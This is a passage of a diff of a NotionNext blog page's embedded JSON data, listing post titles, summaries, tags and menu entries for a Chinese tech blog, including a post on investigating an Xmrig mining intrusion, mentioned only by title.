e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":6,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"category":"技术分享"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"技术分享"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":6,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 